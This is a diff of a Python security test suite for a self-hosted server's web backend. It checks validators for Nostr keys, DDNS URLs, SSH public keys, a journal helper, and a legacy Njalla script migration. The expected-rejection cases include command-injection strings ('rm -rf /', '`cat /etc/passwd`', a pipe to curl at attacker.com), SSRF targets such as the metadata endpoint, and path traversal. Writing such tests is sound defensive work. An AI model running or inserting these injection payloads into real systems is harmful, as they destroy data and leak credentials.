"""_validate_npub must verify the full bech32 checksum and payload length."""
|
||||||
|
|
||||||
# Known-valid npub (Nostr FAQ test vector — 32 zero bytes)
|
BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
|
||||||
# npub1 + bech32(hrp="npub", payload=b'\x00'*32)
|
|
||||||
# The checksum is computed by the library; we hardcode a known-good one.
|
def _make_npub(self, payload_bytes: bytes) -> str | None:
|
||||||
# To generate: python3 -c "from app.sovran_systemsos_web.security_helpers import *; ..."
|
"""Build a syntactically valid npub from raw 32-byte payload."""
|
||||||
# We use _bech32_decode to verify our test vector is valid.
|
|
||||||
def _make_valid_npub(self) -> str:
|
|
||||||
"""Build a valid npub from a 32-zero-byte payload using the production Bech32 encoder."""
|
|
||||||
# Import the production encoder — same module, ensures consistency
|
|
||||||
from sovran_systemsos_web.security_helpers import (
|
from sovran_systemsos_web.security_helpers import (
|
||||||
_bech32_polymod, _bech32_hrp_expand, _bech32_create_checksum,
|
_bech32_hrp_expand,
|
||||||
_BECH32_CHARSET,
|
_bech32_polymod,
|
||||||
|
_bech32_create_checksum,
|
||||||
)
|
)
|
||||||
|
|
||||||
def _convertbits_encode(data: bytes) -> list:
|
def _convertbits(data, frombits, tobits, pad=True):
|
||||||
acc, bits, ret = 0, 0, []
|
acc, bits, ret, maxv = 0, 0, [], (1 << tobits) - 1
|
||||||
maxv = (1 << 5) - 1
|
for value in data:
|
||||||
for v in data:
|
acc = ((acc << frombits) | value)
|
||||||
acc = (acc << 8) | v
|
bits += frombits
|
||||||
bits += 8
|
while bits >= tobits:
|
||||||
while bits >= 5:
|
bits -= tobits
|
||||||
bits -= 5
|
|
||||||
ret.append((acc >> bits) & maxv)
|
ret.append((acc >> bits) & maxv)
|
||||||
if bits:
|
if pad and bits:
|
||||||
ret.append((acc << (5 - bits)) & maxv)
|
ret.append((acc << (tobits - bits)) & maxv)
|
||||||
return ret
|
return ret
|
||||||
|
|
||||||
hrp = "npub"
|
hrp = "npub"
|
||||||
data = _convertbits_encode(b'\x00' * 32)
|
data5 = _convertbits(list(payload_bytes), 8, 5)
|
||||||
checksum = _bech32_create_checksum(hrp, data)
|
checksum = _bech32_create_checksum(hrp, data5)
|
||||||
combined = data + checksum
|
full = data5 + checksum
|
||||||
return hrp + "1" + "".join(_BECH32_CHARSET[d] for d in combined)
|
return hrp + "1" + "".join(self.BECH32_CHARSET[d] for d in full)
|
||||||
|
|
||||||
def test_valid_npub_passes_bech32(self):
|
def test_valid_npub_passes_bech32(self):
|
||||||
npub = self._make_valid_npub()
|
npub = self._make_npub(bytes(32))
|
||||||
self.assertTrue(_validate_npub(npub), f"Expected valid npub to pass: {npub}")
|
self.assertIsNotNone(npub)
|
||||||
|
self.assertTrue(_validate_npub(npub))
|
||||||
|
|
||||||
def test_bech32_decode_returns_32_bytes(self):
|
def test_bech32_decode_returns_32_bytes(self):
|
||||||
npub = self._make_valid_npub()
|
npub = self._make_npub(b'\x01' * 32)
|
||||||
result = _bech32_decode(npub)
|
result = _bech32_decode(npub)
|
||||||
self.assertIsNotNone(result)
|
self.assertIsNotNone(result)
|
||||||
hrp, payload = result
|
hrp, payload = result
|
||||||
@@ -164,46 +158,32 @@ class TestNpubBech32Validation(unittest.TestCase):
|
|||||||
self.assertEqual(len(payload), 32)
|
self.assertEqual(len(payload), 32)
|
||||||
|
|
||||||
def test_corrupted_checksum_rejected(self):
|
def test_corrupted_checksum_rejected(self):
|
||||||
npub = self._make_valid_npub()
|
npub = self._make_npub(bytes(32))
|
||||||
# Flip the last character
|
# Flip last character in the data part
|
||||||
last = npub[-1]
|
corrupted = npub[:-1] + ("q" if npub[-1] != "q" else "p")
|
||||||
replacement = "q" if last != "q" else "p"
|
|
||||||
corrupted = npub[:-1] + replacement
|
|
||||||
self.assertFalse(_validate_npub(corrupted))
|
self.assertFalse(_validate_npub(corrupted))
|
||||||
|
|
||||||
def test_mixed_case_rejected(self):
|
def test_mixed_case_rejected(self):
|
||||||
npub = self._make_valid_npub()
|
npub = self._make_npub(bytes(32))
|
||||||
self.assertFalse(_validate_npub(npub.upper()))
|
mixed = npub[:10].upper() + npub[10:]
|
||||||
self.assertFalse(_validate_npub(npub.capitalize()))
|
self.assertFalse(_validate_npub(mixed))
|
||||||
|
|
||||||
def test_wrong_hrp_rejected(self):
|
def test_wrong_hrp_rejected(self):
|
||||||
# lnurl1 with 32-byte payload would have wrong HRP
|
|
||||||
self.assertFalse(_validate_npub("nsec1" + "q" * 58))
|
self.assertFalse(_validate_npub("nsec1" + "q" * 58))
|
||||||
|
|
||||||
def test_synthetic_all_q_rejected_by_checksum(self):
|
def test_synthetic_all_q_rejected_by_checksum(self):
|
||||||
# "npub1" + "q"*58 passes the regex but likely fails the checksum
|
self.assertFalse(_validate_npub("npub1" + "q" * 58))
|
||||||
synthetic = "npub1" + "q" * 58
|
|
||||||
# The all-q string almost certainly has an invalid checksum
|
|
||||||
result = _bech32_decode(synthetic)
|
|
||||||
if result is not None:
|
|
||||||
hrp, payload = result
|
|
||||||
# If it somehow decodes, payload must be 32 bytes to be valid
|
|
||||||
if hrp == "npub" and len(payload) == 32:
|
|
||||||
self.assertTrue(_validate_npub(synthetic))
|
|
||||||
else:
|
|
||||||
self.assertFalse(_validate_npub(synthetic))
|
|
||||||
else:
|
|
||||||
self.assertFalse(_validate_npub(synthetic))
|
|
||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
# DDNS URL validation — SSRF prevention
|
# DDNS URL validation
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
class TestDdnsUrlValidation(unittest.TestCase):
|
class TestDdnsUrlValidation(unittest.TestCase):
|
||||||
"""_validate_ddns_url must prevent SSRF and injection payloads."""
|
"""_validate_ddns_url must enforce all security constraints."""
|
||||||
|
|
||||||
VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}"
|
# VALID_URL has no ${IP}: callers must substitute before validation.
|
||||||
|
VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=1.2.3.4"
|
||||||
|
|
||||||
def test_valid_njalla_url_accepted(self):
|
def test_valid_njalla_url_accepted(self):
|
||||||
self.assertEqual(_validate_ddns_url(self.VALID_URL), self.VALID_URL)
|
self.assertEqual(_validate_ddns_url(self.VALID_URL), self.VALID_URL)
|
||||||
@@ -214,11 +194,11 @@ class TestDdnsUrlValidation(unittest.TestCase):
|
|||||||
|
|
||||||
def test_http_scheme_rejected(self):
|
def test_http_scheme_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ddns_url("http://njal.la/update/?h=test&k=TOKEN")
|
_validate_ddns_url("http://njal.la/update/?k=TOKEN")
|
||||||
|
|
||||||
def test_ftp_scheme_rejected(self):
|
def test_ftp_scheme_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ddns_url("ftp://njal.la/update/?h=test&k=TOKEN")
|
_validate_ddns_url("ftp://njal.la/update/?k=TOKEN")
|
||||||
|
|
||||||
def test_credentials_in_url_rejected(self):
|
def test_credentials_in_url_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
@@ -226,7 +206,7 @@ class TestDdnsUrlValidation(unittest.TestCase):
|
|||||||
|
|
||||||
def test_fragment_rejected(self):
|
def test_fragment_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ddns_url("https://njal.la/update/?k=TOKEN#fragment")
|
_validate_ddns_url("https://njal.la/update/?k=TOKEN#frag")
|
||||||
|
|
||||||
def test_raw_ip_host_rejected(self):
|
def test_raw_ip_host_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
@@ -238,17 +218,15 @@ class TestDdnsUrlValidation(unittest.TestCase):
|
|||||||
|
|
||||||
def test_control_character_newline_rejected(self):
|
def test_control_character_newline_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ddns_url("https://njal.la/update/?k=TOKEN\nmalicious")
|
_validate_ddns_url("https://njal.la/update/?k=TOKEN\n")
|
||||||
|
|
||||||
def test_control_character_null_rejected(self):
|
def test_control_character_null_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ddns_url("https://njal.la/update/?k=TOKEN\x00evil")
|
_validate_ddns_url("https://njal.la/update/?k=\x00TOKEN")
|
||||||
|
|
||||||
def test_percent_encoded_null_rejected(self):
|
def test_percent_encoded_null_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ddns_url("https://njal.la/update/?k=TOKEN%00evil")
|
_validate_ddns_url("https://njal.la/update/?k=TOKEN%00")
|
||||||
|
|
||||||
# ── SSRF allowlist tests ────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def test_localhost_rejected(self):
|
def test_localhost_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
@@ -259,29 +237,44 @@ class TestDdnsUrlValidation(unittest.TestCase):
|
|||||||
_validate_ddns_url("https://127.0.0.1/update/?k=TOKEN")
|
_validate_ddns_url("https://127.0.0.1/update/?k=TOKEN")
|
||||||
|
|
||||||
def test_arbitrary_public_hostname_rejected(self):
|
def test_arbitrary_public_hostname_rejected(self):
|
||||||
"""Any hostname that is not njal.la must be rejected."""
|
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ddns_url("https://evil.example.com/update/?k=TOKEN")
|
_validate_ddns_url("https://example.com/update/?k=TOKEN")
|
||||||
|
|
||||||
def test_attacker_host_rejected(self):
|
def test_attacker_host_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ddns_url("https://attacker.invalid/update/?k=TOKEN")
|
_validate_ddns_url("https://attacker.njal.la/update/?k=TOKEN")
|
||||||
|
|
||||||
def test_metadata_endpoint_rejected(self):
|
def test_metadata_endpoint_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ddns_url("https://169.254.169.254/latest/meta-data/")
|
_validate_ddns_url("https://169.254.169.254/update/?k=TOKEN")
|
||||||
|
|
||||||
def test_empty_url_rejected(self):
|
def test_empty_url_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ddns_url("")
|
_validate_ddns_url("")
|
||||||
|
|
||||||
def test_too_long_rejected(self):
|
def test_too_long_rejected(self):
|
||||||
|
long_url = "https://njal.la/update/?" + "k=" + "x" * 3000
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ddns_url("https://njal.la/?" + "x" * 2050)
|
_validate_ddns_url(long_url)
|
||||||
|
|
||||||
def test_allowed_hostnames_set(self):
|
def test_allowed_hostnames_set(self):
|
||||||
self.assertIn("njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
self.assertIn("njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
||||||
self.assertIn("www.njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
self.assertIn("www.njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
||||||
|
self.assertNotIn("attacker.njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
||||||
|
self.assertNotIn("localhost", _DDNS_ALLOWED_HOSTNAMES)
|
||||||
|
|
||||||
|
def test_dollar_expression_rejected(self):
|
||||||
|
"""$ in a validated URL is rejected; callers must substitute ${IP} first."""
|
||||||
|
with self.assertRaises(ValueError):
|
||||||
|
_validate_ddns_url("https://njal.la/update/?h=test&k=TOKEN&a=${IP}")
|
||||||
|
|
||||||
|
def test_wrong_path_rejected(self):
|
||||||
|
with self.assertRaises(ValueError):
|
||||||
|
_validate_ddns_url("https://njal.la/api/?k=TOKEN")
|
||||||
|
|
||||||
|
def test_exact_update_path_accepted(self):
|
||||||
|
url = "https://njal.la/update/?h=host.example.com&k=TOKEN"
|
||||||
|
self.assertEqual(_validate_ddns_url(url), url)
|
||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
@@ -289,31 +282,31 @@ class TestDdnsUrlValidation(unittest.TestCase):
|
|||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
class TestSshPubkeyValidation(unittest.TestCase):
|
class TestSshPubkeyValidation(unittest.TestCase):
|
||||||
"""_validate_ssh_pubkey must accept valid keys and reject injections."""
|
"""_validate_ssh_pubkey must accept only valid single-line OpenSSH public keys."""
|
||||||
|
|
||||||
_PAYLOAD = base64.b64encode(b"\x00" * 64).decode()
|
VALID_ED25519 = (
|
||||||
VALID_KEY = f"ssh-ed25519 {_PAYLOAD} user@host"
|
"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl user@host"
|
||||||
|
)
|
||||||
|
|
||||||
def test_valid_ed25519_accepted(self):
|
def test_valid_ed25519_accepted(self):
|
||||||
self.assertEqual(_validate_ssh_pubkey(self.VALID_KEY), self.VALID_KEY)
|
result = _validate_ssh_pubkey(self.VALID_ED25519)
|
||||||
|
self.assertEqual(result, self.VALID_ED25519)
|
||||||
|
|
||||||
def test_unsupported_algorithm_rsa_rejected(self):
|
def test_unsupported_algorithm_rsa_rejected(self):
|
||||||
payload = base64.b64encode(b"\x00" * 40).decode()
|
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ssh_pubkey(f"ssh-rsa {payload} user@host")
|
_validate_ssh_pubkey("ssh-rsa AAAAB3NzaC1yc2EAAAA user@host")
|
||||||
|
|
||||||
def test_dss_algorithm_rejected(self):
|
def test_dss_algorithm_rejected(self):
|
||||||
payload = base64.b64encode(b"\x00" * 40).decode()
|
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ssh_pubkey(f"ssh-dss {payload} user@host")
|
_validate_ssh_pubkey("ssh-dss AAAAB3NzaC1kc3MAAA user@host")
|
||||||
|
|
||||||
def test_multiline_injection_rejected(self):
|
def test_multiline_injection_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ssh_pubkey(f"{self.VALID_KEY}\nssh-ed25519 AAAA second-key")
|
_validate_ssh_pubkey(self.VALID_ED25519 + "\necho pwned")
|
||||||
|
|
||||||
def test_options_prefix_not_accepted(self):
|
def test_options_prefix_not_accepted(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ssh_pubkey(f'command="evil" {self.VALID_KEY}')
|
_validate_ssh_pubkey('command="ls" ' + self.VALID_ED25519)
|
||||||
|
|
||||||
def test_empty_key_rejected(self):
|
def test_empty_key_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
@@ -321,16 +314,16 @@ class TestSshPubkeyValidation(unittest.TestCase):
|
|||||||
|
|
||||||
def test_control_character_rejected(self):
|
def test_control_character_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ssh_pubkey(f"ssh-ed25519 {self._PAYLOAD}\x00 user@host")
|
_validate_ssh_pubkey("ssh-ed25519 AAAA\x00 user@host")
|
||||||
|
|
||||||
def test_malformed_base64_rejected(self):
|
def test_malformed_base64_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ssh_pubkey("ssh-ed25519 NOT!VALID!BASE64 user@host")
|
_validate_ssh_pubkey("ssh-ed25519 not-valid-base64!!! user@host")
|
||||||
|
|
||||||
def test_too_short_payload_rejected(self):
|
def test_too_short_payload_rejected(self):
|
||||||
short = base64.b64encode(b"\x00" * 5).decode()
|
short_b64 = base64.b64encode(b"\x00" * 10).decode()
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
_validate_ssh_pubkey(f"ssh-ed25519 {short} user@host")
|
_validate_ssh_pubkey(f"ssh-ed25519 {short_b64} user@host")
|
||||||
|
|
||||||
def test_missing_key_body_rejected(self):
|
def test_missing_key_body_rejected(self):
|
||||||
with self.assertRaises(ValueError):
|
with self.assertRaises(ValueError):
|
||||||
@@ -338,7 +331,7 @@ class TestSshPubkeyValidation(unittest.TestCase):
|
|||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
# Auth-exempt path enforcement
|
# Auth-exempt paths
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
class TestAuthExemptPaths(unittest.TestCase):
|
class TestAuthExemptPaths(unittest.TestCase):
|
||||||
@@ -404,13 +397,19 @@ class TestTechSupportSudoRules(unittest.TestCase):
|
|||||||
content = self._get_nix_content()
|
content = self._get_nix_content()
|
||||||
self.assertIn("sovran-journal-helper", content)
|
self.assertIn("sovran-journal-helper", content)
|
||||||
|
|
||||||
|
def test_sovran_hub_web_service_referenced(self):
|
||||||
|
"""tech-support.nix must reference sovran-hub-web.service, not the nonexistent sovran-hub.service."""
|
||||||
|
content = self._get_nix_content()
|
||||||
|
self.assertIn("sovran-hub-web.service", content)
|
||||||
|
self.assertNotIn('"sovran-hub.service"', content)
|
||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
# Journal helper validation
|
# Journal helper — unit allowlist validation
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
class TestJournalHelper(unittest.TestCase):
|
class TestJournalHelper(unittest.TestCase):
|
||||||
"""The restricted journal helper must reject dangerous flags."""
|
"""The restricted journal helper must enforce the explicit unit allowlist."""
|
||||||
|
|
||||||
def _run_helper(self, args):
|
def _run_helper(self, args):
|
||||||
"""Run the helper script and return (returncode, stderr)."""
|
"""Run the helper script and return (returncode, stderr)."""
|
||||||
@@ -422,15 +421,34 @@ class TestJournalHelper(unittest.TestCase):
|
|||||||
)
|
)
|
||||||
return result.returncode, result.stderr
|
return result.returncode, result.stderr
|
||||||
|
|
||||||
def test_valid_unit_flag_accepted(self):
|
# ── Allowlisted units ──
|
||||||
# The helper will fail to actually run journalctl (not installed),
|
def test_sovran_hub_web_accepted(self):
|
||||||
# but it must not reject the flag itself before calling journalctl.
|
rc, stderr = self._run_helper(["--unit", "sovran-hub-web.service"])
|
||||||
rc, stderr = self._run_helper(["--unit", "sovran-hub.service"])
|
|
||||||
# If journalctl is not installed, rc != 0 but stderr from helper is about journalctl
|
|
||||||
# If journalctl IS installed, it runs successfully (rc=0 or journalctl error)
|
|
||||||
# What we check is that the helper itself did NOT print "rejected"
|
|
||||||
self.assertNotIn("rejected", stderr)
|
self.assertNotIn("rejected", stderr)
|
||||||
self.assertNotIn("sovran-journal-helper: rejected", stderr)
|
|
||||||
|
def test_caddy_accepted(self):
|
||||||
|
rc, stderr = self._run_helper(["--unit", "caddy.service"])
|
||||||
|
self.assertNotIn("rejected", stderr)
|
||||||
|
|
||||||
|
def test_bitcoind_accepted(self):
|
||||||
|
rc, stderr = self._run_helper(["--unit", "bitcoind.service"])
|
||||||
|
self.assertNotIn("rejected", stderr)
|
||||||
|
|
||||||
|
def test_lnd_accepted(self):
|
||||||
|
rc, stderr = self._run_helper(["--unit", "lnd.service"])
|
||||||
|
self.assertNotIn("rejected", stderr)
|
||||||
|
|
||||||
|
# ── Rejected units ──
|
||||||
|
def test_unapproved_service_rejected(self):
|
||||||
|
rc, stderr = self._run_helper(["--unit", "sshd.service"])
|
||||||
|
self.assertNotEqual(rc, 0)
|
||||||
|
self.assertIn("rejected", stderr)
|
||||||
|
|
||||||
|
def test_old_sovran_hub_service_rejected(self):
|
||||||
|
"""The old nonexistent sovran-hub.service must now be rejected."""
|
||||||
|
rc, stderr = self._run_helper(["--unit", "sovran-hub.service"])
|
||||||
|
self.assertNotEqual(rc, 0)
|
||||||
|
self.assertIn("rejected", stderr)
|
||||||
|
|
||||||
def test_directory_flag_rejected(self):
|
def test_directory_flag_rejected(self):
|
||||||
rc, stderr = self._run_helper(["--directory", "/var/log"])
|
rc, stderr = self._run_helper(["--directory", "/var/log"])
|
||||||
@@ -448,8 +466,16 @@ class TestJournalHelper(unittest.TestCase):
|
|||||||
self.assertIn("rejected", stderr)
|
self.assertIn("rejected", stderr)
|
||||||
|
|
||||||
def test_no_args_rejected(self):
|
def test_no_args_rejected(self):
|
||||||
|
"""Whole-journal queries (no --unit) must be rejected."""
|
||||||
rc, stderr = self._run_helper([])
|
rc, stderr = self._run_helper([])
|
||||||
self.assertNotEqual(rc, 0)
|
self.assertNotEqual(rc, 0)
|
||||||
|
# Should mention --unit requirement
|
||||||
|
self.assertIn("unit", stderr.lower())
|
||||||
|
|
||||||
|
def test_lines_only_no_unit_rejected(self):
|
||||||
|
"""--lines without --unit is a whole-journal query and must be rejected."""
|
||||||
|
rc, stderr = self._run_helper(["--lines", "50"])
|
||||||
|
self.assertNotEqual(rc, 0)
|
||||||
|
|
||||||
def test_lines_flag_accepted(self):
|
def test_lines_flag_accepted(self):
|
||||||
rc, stderr = self._run_helper(["--unit", "caddy.service", "--lines", "50"])
|
rc, stderr = self._run_helper(["--unit", "caddy.service", "--lines", "50"])
|
||||||
@@ -483,7 +509,6 @@ class TestJournalHelper(unittest.TestCase):
|
|||||||
self.assertIn("rejected", stderr)
|
self.assertIn("rejected", stderr)
|
||||||
|
|
||||||
def test_invalid_unit_name_rejected(self):
|
def test_invalid_unit_name_rejected(self):
|
||||||
# Unit names with directory traversal or invalid chars
|
|
||||||
rc, stderr = self._run_helper(["--unit", "../../../etc/passwd"])
|
rc, stderr = self._run_helper(["--unit", "../../../etc/passwd"])
|
||||||
self.assertNotEqual(rc, 0)
|
self.assertNotEqual(rc, 0)
|
||||||
self.assertIn("rejected", stderr)
|
self.assertIn("rejected", stderr)
|
||||||
@@ -495,188 +520,402 @@ class TestJournalHelper(unittest.TestCase):
|
|||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
# Legacy njalla migration safety
|
# Legacy Njalla migration — production-backed tests
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
class TestNjallaLegacyMigration(unittest.TestCase):
|
class TestNjallaLegacyMigration(unittest.TestCase):
|
||||||
"""_migrate_legacy_njalla_script must not execute or preserve malicious content."""
|
"""migrate_legacy_njalla_script must not execute or preserve malicious content.
|
||||||
|
|
||||||
def _run_migration(self, script_content: str) -> list[str]:
|
All tests call the exact production implementation from support_ops with
|
||||||
"""Run the migration against a temp file and return extracted URLs."""
|
temporary files; no logic is duplicated here.
|
||||||
import json
|
"""
|
||||||
import tempfile
|
|
||||||
import sys
|
|
||||||
|
|
||||||
# We can't import server.py but we can replicate the migration logic
|
def _run_migration(self, script_content: str) -> tuple[list[str], bool]:
|
||||||
# using security_helpers for validation.
|
"""Run the production migration against temp files, return (urls, script_archived)."""
|
||||||
import re
|
captured_urls: list[str] = []
|
||||||
from sovran_systemsos_web.security_helpers import _validate_ddns_url
|
saved = [False]
|
||||||
|
|
||||||
LEGACY_CURL_RE = re.compile(
|
def _load():
|
||||||
r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
|
return []
|
||||||
r'(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f]|\$\{IP\})+)$'
|
|
||||||
)
|
|
||||||
|
|
||||||
extracted: list[str] = []
|
def _save(urls):
|
||||||
for raw_line in script_content.splitlines():
|
captured_urls.extend(urls)
|
||||||
line = raw_line.strip()
|
saved[0] = True
|
||||||
if not line or line.startswith("#") or line.startswith("IP=") or line.startswith("#!/"):
|
|
||||||
continue
|
|
||||||
m = LEGACY_CURL_RE.match(line)
|
|
||||||
if not m:
|
|
||||||
continue
|
|
||||||
raw_url = m.group(1)
|
|
||||||
url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
|
|
||||||
try:
|
|
||||||
_validate_ddns_url(url_to_validate)
|
|
||||||
extracted.append(raw_url)
|
|
||||||
except ValueError:
|
|
||||||
pass
|
|
||||||
return extracted
|
|
||||||
|
|
||||||
def test_valid_curl_line_extracted(self):
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
|
script_path = os.path.join(tmpdir, "njalla.sh")
|
||||||
|
with open(script_path, "w") as f:
|
||||||
|
f.write(script_content)
|
||||||
|
os.chmod(script_path, 0o755)
|
||||||
|
|
||||||
|
support_ops.migrate_legacy_njalla_script(
|
||||||
|
script_path,
|
||||||
|
_validate_ddns_url,
|
||||||
|
_save,
|
||||||
|
_load,
|
||||||
|
)
|
||||||
|
|
||||||
|
archived = oct(os.stat(script_path).st_mode)[-3:] == "000"
|
||||||
|
return captured_urls, archived
|
||||||
|
|
||||||
|
def test_valid_unquoted_curl_line_extracted(self):
|
||||||
script = (
|
script = (
|
||||||
"#!/usr/bin/env bash\n"
|
"#!/usr/bin/env bash\n"
|
||||||
"IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n"
|
"IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n"
|
||||||
"curl --silent https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}\n"
|
"curl --silent https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}\n"
|
||||||
)
|
)
|
||||||
urls = self._run_migration(script)
|
urls, archived = self._run_migration(script)
|
||||||
self.assertEqual(len(urls), 1)
|
self.assertEqual(len(urls), 1)
|
||||||
self.assertIn("njal.la", urls[0])
|
self.assertIn("njal.la", urls[0])
|
||||||
|
self.assertTrue(archived, "script should be archived after successful migration")
|
||||||
|
|
||||||
|
def test_valid_quoted_curl_line_extracted(self):
|
||||||
|
"""Historical quoted form: curl \"https://njal.la/...\" must be parsed."""
|
||||||
|
script = (
|
||||||
|
"#!/usr/bin/env bash\n"
|
||||||
|
'curl "https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}"\n'
|
||||||
|
)
|
||||||
|
urls, archived = self._run_migration(script)
|
||||||
|
self.assertEqual(len(urls), 1, "quoted URL must be extracted")
|
||||||
|
self.assertIn("njal.la", urls[0])
|
||||||
|
|
||||||
def test_command_injection_not_extracted(self):
|
def test_command_injection_not_extracted(self):
|
||||||
script = "curl https://njal.la/update/?k=TOKEN; rm -rf /\n"
|
script = "curl https://njal.la/update/?k=TOKEN; rm -rf /\n"
|
||||||
urls = self._run_migration(script)
|
urls, _ = self._run_migration(script)
|
||||||
self.assertEqual(urls, [])
|
self.assertEqual(urls, [])
|
||||||
|
|
||||||
def test_backtick_injection_not_extracted(self):
|
def test_backtick_injection_not_extracted(self):
|
||||||
script = "curl https://njal.la/update/?k=`cat /etc/passwd`\n"
|
script = "curl https://njal.la/update/?k=`cat /etc/passwd`\n"
|
||||||
urls = self._run_migration(script)
|
urls, _ = self._run_migration(script)
|
||||||
self.assertEqual(urls, [])
|
self.assertEqual(urls, [])
|
||||||
|
|
||||||
def test_pipe_injection_not_extracted(self):
|
def test_pipe_injection_not_extracted(self):
|
||||||
script = "curl https://njal.la/update/?k=TOKEN | curl https://attacker.com\n"
|
script = "curl https://njal.la/update/?k=TOKEN | curl https://attacker.com\n"
|
||||||
urls = self._run_migration(script)
|
urls, _ = self._run_migration(script)
|
||||||
self.assertEqual(urls, [])
|
self.assertEqual(urls, [])
|
||||||
|
|
||||||
def test_dollar_injection_not_extracted(self):
|
def test_dollar_injection_not_extracted(self):
|
||||||
script = "curl https://njal.la/update/?k=$(evil_command)\n"
|
script = "curl https://njal.la/update/?k=$(evil_command)\n"
|
||||||
urls = self._run_migration(script)
|
urls, _ = self._run_migration(script)
|
||||||
self.assertEqual(urls, [])
|
self.assertEqual(urls, [])
|
||||||
|
|
||||||
def test_non_njalla_url_not_extracted(self):
|
def test_non_njalla_url_not_extracted(self):
|
||||||
script = "curl https://attacker.example.com/update/?k=TOKEN\n"
|
script = "curl https://attacker.example.com/update/?k=TOKEN\n"
|
||||||
urls = self._run_migration(script)
|
urls, _ = self._run_migration(script)
|
||||||
self.assertEqual(urls, [])
|
self.assertEqual(urls, [])
|
||||||
|
|
||||||
def test_http_url_not_extracted(self):
|
def test_http_url_not_extracted(self):
|
||||||
script = "curl http://njal.la/update/?k=TOKEN\n"
|
script = "curl http://njal.la/update/?k=TOKEN\n"
|
||||||
urls = self._run_migration(script)
|
urls, _ = self._run_migration(script)
|
||||||
self.assertEqual(urls, [])
|
self.assertEqual(urls, [])
|
||||||
|
|
||||||
|
def test_semicolons_in_url_not_extracted(self):
|
||||||
|
script = "curl https://njal.la/update/?k=TOKEN;echo evil\n"
|
||||||
|
urls, _ = self._run_migration(script)
|
||||||
|
self.assertEqual(urls, [])
|
||||||
|
|
||||||
|
def test_newline_injection_not_extracted(self):
|
||||||
|
script = 'curl "https://njal.la/update/?k=TOKEN\necho evil"\n'
|
||||||
|
urls, _ = self._run_migration(script)
|
||||||
|
self.assertEqual(urls, [])
|
||||||
|
|
||||||
|
def test_malformed_quotes_not_extracted(self):
|
||||||
|
"""Half-open quote must not match."""
|
||||||
|
script = 'curl "https://njal.la/update/?k=TOKEN\n'
|
||||||
|
urls, _ = self._run_migration(script)
|
||||||
|
self.assertEqual(urls, [])
